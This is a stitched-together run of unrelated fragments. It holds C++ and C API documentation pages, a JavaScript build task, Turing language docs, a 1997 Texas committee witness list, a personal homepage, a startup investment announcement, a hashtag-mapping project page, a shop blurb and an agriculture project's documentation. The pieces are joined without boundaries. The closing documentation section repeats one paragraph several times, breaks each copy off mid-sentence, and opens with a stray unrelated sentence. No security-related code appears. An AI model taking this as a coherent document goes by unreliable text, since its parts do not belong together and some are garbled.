The btAlignedAllocator is a portable class for aligned memory allocations. More...
#include <btAlignedAllocator.h>
Classes | |
| struct | rebind |
Public Types | |
| typedef const T * | const_pointer |
| typedef const T & | const_reference |
| typedef T * | pointer |
| typedef T & | reference |
| typedef T | value_type |
Public Member Functions | |
| btAlignedAllocator () | |
| template<typename Other > | |
| btAlignedAllocator (const btAlignedAllocator< Other, Alignment > &) | |
| pointer | address (reference ref) const |
| const_pointer | address (const_reference ref) const |
| pointer | allocate (size_type n, const_pointer *hint=0) |
| void | construct (pointer ptr, const value_type &value) |
| void | deallocate (pointer ptr) |
| void | destroy (pointer ptr) |
| template<typename O > | |
| self_type & | operator= (const btAlignedAllocator< O, Alignment > &) |
Private Types | |
| typedef btAlignedAllocator< T, Alignment > | self_type |
Friends | |
| bool | operator== (const self_type &, const self_type &) |
The btAlignedAllocator is a portable class for aligned memory allocations.
Default implementations for unaligned and aligned allocations can be overridden by a custom allocator using btAlignedAllocSetCustom and btAlignedAllocSetCustomAligned.
Definition at line 65 of file btAlignedAllocator.h.
| typedef const T* btAlignedAllocator< T, Alignment >::const_pointer |
Definition at line 81 of file btAlignedAllocator.h.
| typedef const T& btAlignedAllocator< T, Alignment >::const_reference |
Definition at line 82 of file btAlignedAllocator.h.
| typedef T* btAlignedAllocator< T, Alignment >::pointer |
Definition at line 83 of file btAlignedAllocator.h.
| typedef T& btAlignedAllocator< T, Alignment >::reference |
Definition at line 84 of file btAlignedAllocator.h.
|
private |
Definition at line 67 of file btAlignedAllocator.h.
| typedef T btAlignedAllocator< T, Alignment >::value_type |
Definition at line 85 of file btAlignedAllocator.h.
|
inline |
Definition at line 71 of file btAlignedAllocator.h.
|
inline |
Definition at line 77 of file btAlignedAllocator.h.
|
inline |
Definition at line 87 of file btAlignedAllocator.h.
|
inline |
Definition at line 88 of file btAlignedAllocator.h.
|
inline |
Definition at line 89 of file btAlignedAllocator.h.
|
inline |
Definition at line 94 of file btAlignedAllocator.h.
|
inline |
Definition at line 95 of file btAlignedAllocator.h.
|
inline |
Definition at line 99 of file btAlignedAllocator.h.
|
inline |
Definition at line 107 of file btAlignedAllocator.h.
|
friend |
Definition at line 112 of file btAlignedAllocator.h.


#include <upk_json.h>
Referenced by upk_ctrlconf_pack(), upk_ctrlconf_toplvl_obj(), upk_svcconf_pack(), upk_svcconf_setup_array_handlers(), upk_svcconf_setup_handlers(), upk_svcconf_setup_object_handlers(), and upk_svcconf_toplvl_obj().


--- layout: default title: Raphael Fabeni type: Home center: true links: right: text: Blog link: "/blog" ---
Hi! My name is Raphael Fabeni and I'm a Brazilian developer passionated for web, sports, electronic music and travels.
Currently, I'm working full time at Red Ventures and living in Charlotte, North Carolina. I believe that more than writing code, planning solutions to help people is what makes our work so cool.
I also try to write about some random stuff on my blog.
You can find me at: YouTube, Twitter, GitHub, LinkedIn, CodePen and Instagram.


WITNESS LIST Public Health Committee March 19, 1997-2:00P HB 120 For: Fitzpatrick, Michael C. (Self, ACS) Hill, Stratton C. (Self, TMA, TCPI) Martin, Roy S. (Self) Thorpe, Deborah M. (Self, TX Nurses Assn.) Van Pelt, Lester (Republican Party of TX) Weinstein, Sharon (Self, TX Pain Society) Wright, Nina B. (Self, SMDFBI) On: Culmo, Cynthia (TDH) Levy, Bruce (Self) HB 145 For: Wilson, Ron (Self, Representative) Against: Sjoberg, Elizabeth (THA) HB 226 For: Fredholm, Leigh (Self, Hospice Austin) Hill, Stratton C. (Self, TMA, TCPI) Reagan, Karen Kenney (TX Pharmacy Assn.) Thorpe, Deborah M. (Self, TX Nurses Assn.) HB 1672 On: May, Eliza (Self) HB 2127 On: Herskowitz, Robin (State Comptrollers Ofc.) McKinney, Mike (HHSC)


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Max Greer
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program
Syntax
A program is:
| |
statementsAndDeclarations |
Description
A Turing program consists of a list of statements and declarations.
Example
This is a complete Turing program. It outputs Alan M. Turing.
put "Alan M. Turing"
Example
This is a complete Turing program. It outputs a triangle of stars.
var stars : string := "*"
loop
put stars
stars := stars + "*"
end loop
Example
This is a complete Turing program. It outputs Hello once and Goodbye twice.
procedure sayItAgain ( what : string, n : int )
for i : 1 .. n
put what
end for
end sayItAgain
sayItAgain ( "Hello", 1)
sayItAgain ( "Goodbye", 2 )
Details
In a program there can be many units (see unit), one of which is the program (called the main program), the others of which are modules, monitors and classes. The main program is optionally preceded by an import list, which lists the units that it uses.
See also
import list.


lib/tasks/build-watch.js
'use strict'; const chalk = require('chalk'); const path = require('path'); const Task = require('../models/task'); const Watcher = require('../models/watcher'); const Builder = require('../models/builder'); const pDefer = require('p-defer'); class BuildWatchTask extends Task { constructor(options) { super(options); this._builder = null; this._runDeferred = null; } async run(options) { let { ui } = this; ui.startProgress(chalk.green('Building'), chalk.green('.')); this._runDeferred = pDefer(); let builder = (this._builder = options._builder || new Builder({ ui, outputPath: options.outputPath, environment: options.environment, project: this.project, })); ui.writeLine(`Environment: ${options.environment}`); let watcher = options._watcher || new Watcher({ ui, builder, analytics: this.analytics, options, ignored: [path.resolve(this.project.root, options.outputPath)], }); await watcher; // Run until failure or signal to exit return this._runDeferred.promise; } /** * Exit silently * * @private * @method onInterrupt */ async onInterrupt() { await this._builder.cleanup(); this._runDeferred.resolve(); } } module.exports = BuildWatchTask;


|
Timewave z3r0
|
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "DATA/DATA.TW1"
#include "DATA/DATA.TW2"
#include "DATA/DATA.TW3"
#include "DATA/DATA.TW4"
Go to the source code of this file.
Macros | |
| #define | CALC_PREC 1000000 |
| #define | FALSE 0 |
| #define | NUM_DATA_POINTS 384 |
| #define | NUM_POWERS 48 |
| #define | NUM_SETS 4 |
| #define | PREC 16 |
| #define | TRUE 1 |
Functions | |
| long double | div_power (long double x, int64_t i) |
| long double | f (long double x, int64_t number_set) |
| int | main (int argc, char *argv[]) |
| long double | mult_power (long double x, int64_t i) |
| void | set_powers (void) |
| long double | v (long double y, int64_t number_set) |
Variables | |
| int64_t | number_set |
| long double | powers [NUM_POWERS] |
| char * | set_name [NUM_SETS] = { "Kelley", "Watkins", "Sheliak", "Huang Ti" } |
| int64_t | stringchar |
| char | temp [32] |
| char * | usage |
| int64_t | w [NUM_SETS][NUM_DATA_POINTS] |
| int64_t | wave_factor = 64 |
| #define CALC_PREC 1000000 |
Definition at line 55 of file twz-point.c.
Referenced by f().
| #define FALSE 0 |
Definition at line 48 of file twz-point.c.
| #define NUM_DATA_POINTS 384 |
Definition at line 54 of file twz-point.c.
Referenced by v().
| #define NUM_POWERS 48 |
Definition at line 50 of file twz-point.c.
Referenced by set_powers().
| #define NUM_SETS 4 |
Definition at line 53 of file twz-point.c.
Referenced by main().
| #define PREC 16 |
Definition at line 51 of file twz-point.c.
Referenced by main().
| #define TRUE 1 |
Definition at line 49 of file twz-point.c.
| long double div_power | ( | long double | x, |
| int64_t | i | ||
| ) |
Definition at line 243 of file twz-point.c.
References powers.
Referenced by f().
| long double f | ( | long double | x, |
| int64_t | number_set | ||
| ) |
Definition at line 177 of file twz-point.c.
References CALC_PREC, div_power(), mult_power(), powers, and v().
Referenced by main().
| int main | ( | int | argc, |
| char * | argv[] | ||
| ) |
Definition at line 97 of file twz-point.c.
References dtzp, f(), NUM_SETS, number_set, PREC, set_name, set_powers(), stringchar, temp, usage, and wave_factor.
| long double mult_power | ( | long double | x, |
| int64_t | i | ||
| ) |
Definition at line 228 of file twz-point.c.
References powers.
Referenced by f().
| void set_powers | ( | void | ) |
Definition at line 164 of file twz-point.c.
References NUM_POWERS, powers, and wave_factor.
Referenced by main().
| long double v | ( | long double | y, |
| int64_t | number_set | ||
| ) |
Definition at line 207 of file twz-point.c.
References NUM_DATA_POINTS, and w.
Referenced by f().
| int64_t number_set |
Definition at line 64 of file twz-point.c.
Referenced by main().
| long double powers[NUM_POWERS] |
Definition at line 57 of file twz-point.c.
Referenced by div_power(), f(), mult_power(), and set_powers().
| char* set_name[NUM_SETS] = { "Kelley", "Watkins", "Sheliak", "Huang Ti" } |
Definition at line 71 of file twz-point.c.
Referenced by main().
| int64_t stringchar |
Definition at line 64 of file twz-point.c.
Referenced by main().
| char temp[32] |
Definition at line 69 of file twz-point.c.
Referenced by get_dtzp(), get_NegBailout(), get_step(), get_wave_factor(), and main().
| char* usage |
Definition at line 66 of file twz-point.c.
Referenced by main().
| int64_t w[NUM_SETS][NUM_DATA_POINTS] |
Definition at line 74 of file twz-point.c.
Referenced by v().
| int64_t wave_factor = 64 |
Definition at line 63 of file twz-point.c.
Referenced by main(), and set_powers().


When we started Replicant in 2017, we certainly did not predict that a global pandemic would create a customer service disaster, suddenly accelerating businesses into AI and automation. We “merely” believed that machines were ready to have useful, complex conversations with people and that the future business applications of this could be profound.
We look around us today (while living in a dystopian scene from our namesake film) and know the world has turned upside down over the past six months. For businesses — call centers have shut down due to Covid-19, customer service call volumes have surged unpredictability, and customers are more frustrated than ever with long wait times leading to unresolved issues. Replicant’s autonomous call center is now enabling these businesses to fully resolve customer issues (even the most complex ones) over the phone with natural-sounding conversations — improving the customer experience while reducing costs.
Hundreds of millions of consumers use voice assistants such as Amazon Alexa or Apple’s Siri for simple tasks in their daily lives. Now, one company wants to take talking bots to the next level: the highly conversational field of customer service.
Replicant, named after Blade Runner’s genetically engineering humans, is entering uncharted territory with its software…
— ForbesStartups have moments. Replicant’s is now. The company is now handling over two million autonomous customer support calls a month, grown over 15X in revenue in just six months, and is partnering with some of the largest enterprises and call centers in the world. We’re inspired by how this incredible team, led by our co-founders Gadi Shamia (CEO) and Benjamin Gleitzman (CTO), have fearlessly seized their moment during this pandemic to help businesses and customers across the globe.
We’re excited to share today that with Replicant, Atomic has made one of our most significant investments in any company to-date, and partnered with Scott Beechuk at Norwest Venture Partners who led a $27 million investment in the company, alongside a group of co-investors deeply experienced with the intersection of AI and the enterprise: Mark Selcow at Costanoa Ventures, James Cham at Bloomberg Beta, and State Farm Ventures. Scott, who is intimately familiar with the customer service software industry from his time as SVP Product for Salesforce Service Cloud points out why Replicant is well positioned:
(Replicant’s) attention to this humanscale connection is what sets them apart in the customer service arena: they start with the experience between caller and agent and build their AI-driven product around it. The result is a first-of-its-kind product that honors the human aspect of customer service no matter how automated operations get.
The company has come a long way from its humble beginnings converting our storage closet into a closely guarded private office where Benjamin Gleitzman’s hand-picked team of AI and machine learning engineers started building the world’s first autonomous call center. But we know this is just the beginning and couldn’t be more hopeful about the future of customer service.


{% extends "base.html" %} {% block pagetitle %}Geoperception - About the project{% endblock %} {% block content %}
This project analyzes Geodata to map the trends of hashtags on Twitter. Searching for a hastag finds all tweets that have used that specific hashtag, and visually maps it to google. By mapping these hashtags, we can get insights into real world events by comparing our mapped data to a real world context. For instance, you can see trends in world events going on by looking at tweets such as #NepalEarthquake or #Baltimore Riots and see the distribution of people tweeting about these events. This app also can help you find things that are trending on the internet by displaying the top hashtags in an easy to read bar-graph.
All of our tweet storage is done using Cassandra and accessed via the Datastax api. As a robust NoSQL database, it was perfect for storing large amounts of data that can be accessed quickly via a tweet Id.
We were able to do real time processing on twitter's Firehose API using the powerful capabilities of Storm. This platform helped us parse tweets, count hashtags, store our data into our Cassandra Database, and all while new data was constantly streaming in.
We implemented Elastic Search in order to be able to search for a desired hashtag in our database. This search engine connects directly to our Cassandra database and creates an index of hashtags with their associated counts. When a user begins to enter a hashtag, a list is propagated asynchronously and displayed below the search field.
We created our web frontend using the Django Python3 framework and using Apache to serve it. Because we decided to use Python 3 as the application language, there is no official support for Cassandra database connection. Luckily we were able to find a pull request that fixed most of the compatibility issues with Django/Python3/Cassandra
We needed a slick way to present the top trending hashtags we collected in our Cassandra database. We used D3's dynamic data visualization capabilities to create an interactive bar chart. When you click on a hashtag in the bar chart, it will scroll to the map and display that hashtag on the map.
We used the Google Maps API as a platform for plotting our tweet data. In conjunction with our Elastic Search implementation, you can search a hashtag and have tweets displayed at the proper geolocation on Google's map display.
Our Cassandra Database, Storm Cluster, and Django website are all hosted on an expandable Amazon Web Service Elastic Compute Cloud Instance.
Our storm application and cassandra-river plugin for elastic search used maven for managing dependencies and making deploys easy and quick. Besides its extreme lack of documentation, maven can save a lot of heartache as a project progresses and grows larger.


We make sure you recieve your coasters. After payment your product will be sent in 2 working days.
For every purchase you make, we will ensure there are no faults.


Welcome to TROFMIS's documentation!¶
Indices and tables¶
Introduction¶
the bible says that we can do it, at whatever cost we do have and that should not scare you at all Agriculture forms part of the biggest revenue generators in Kenya, making it the back bone of Kenya’s economy accounting for 25% of the gross domestic product (GDP), at the same time accounting for more than 65% of Kenya’s total exports. The sector has grown to be one of the biggest employers for the massive youthful population in Kenya. However, the sector has been facing a plethora of challenges over the years, and as such has never reached its optimal performance. One of the major setbacks that has affected the countries agricultural zones, is the over dependency on the bimodal rainfall pattern in the country for cultivation, with the remaining areas mostly experiencing perennial conditions often juggling between the arid and semi-arid zones, experiences of frequent droughts and crop fail in one out of every three seasons. With predominant farmers being smallholder, owning
Literature Review¶
Agriculture forms part of the biggest revenue generators in Kenya, making it the back bone of Kenya’s economy accounting for 25% of the gross domestic product (GDP), at the same time accounting for more than 65% of Kenya’s total exports. The sector has grown to be one of the biggest employers for the massive youthful population in Kenya. However, the sector has been facing a plethora of challenges over the years, and as such has never reached its optimal performance. One of the major setbacks that has affected the countries agricultural zones, is the over dependency on the bimodal rainfall pattern in the country for cultivation,
with the remaining areas mostly experiencing perennial conditions often juggling between
the arid and semi-arid zones, experiences of frequent droughts and crop fail in one out of every three seasons. With predominant farmers being smallholder, owning
Literature Review¶
Agriculture forms part of the biggest revenue generators in Kenya, making it the back bone of Kenya’s economy accounting for 25% of the gross domestic product (GDP), at the same time accounting for more than 65% of Kenya’s total exports. The sector has grown to be one of the biggest employers for the massive youthful population in Kenya. However, the sector has been facing a plethora of challenges over the years, and as such has never reached its optimal performance. One of the major setbacks that has affected the countries agricultural zones, is the over dependency on the bimodal rainfall pattern in the country for cultivation,
with the remaining areas mostly experiencing perennial conditions often juggling between
the arid and semi-arid zones, experiences of frequent droughts and crop fail in one out of every three seasons. With predominant farmers being smallholder, owning
Literature Review¶
Agriculture forms part of the biggest revenue generators in Kenya, making it the back bone of Kenya’s economy accounting for 25% of the gross domestic product (GDP), at the same time accounting for more than 65% of Kenya’s total exports. The sector has grown to be one of the biggest employers for the massive youthful population in Kenya. However, the sector has been facing a plethora of challenges over the years, and as such has never reached its optimal performance. One of the major setbacks that has affected the countries agricultural zones, is the over dependency on the bimodal rainfall pattern in the country for cultivation,
with the remaining areas mostly experiencing perennial conditions often juggling between
the arid and semi-arid zones, experiences of frequent droughts and crop fail in one out of every three seasons. With predominant farmers being smallholder, owning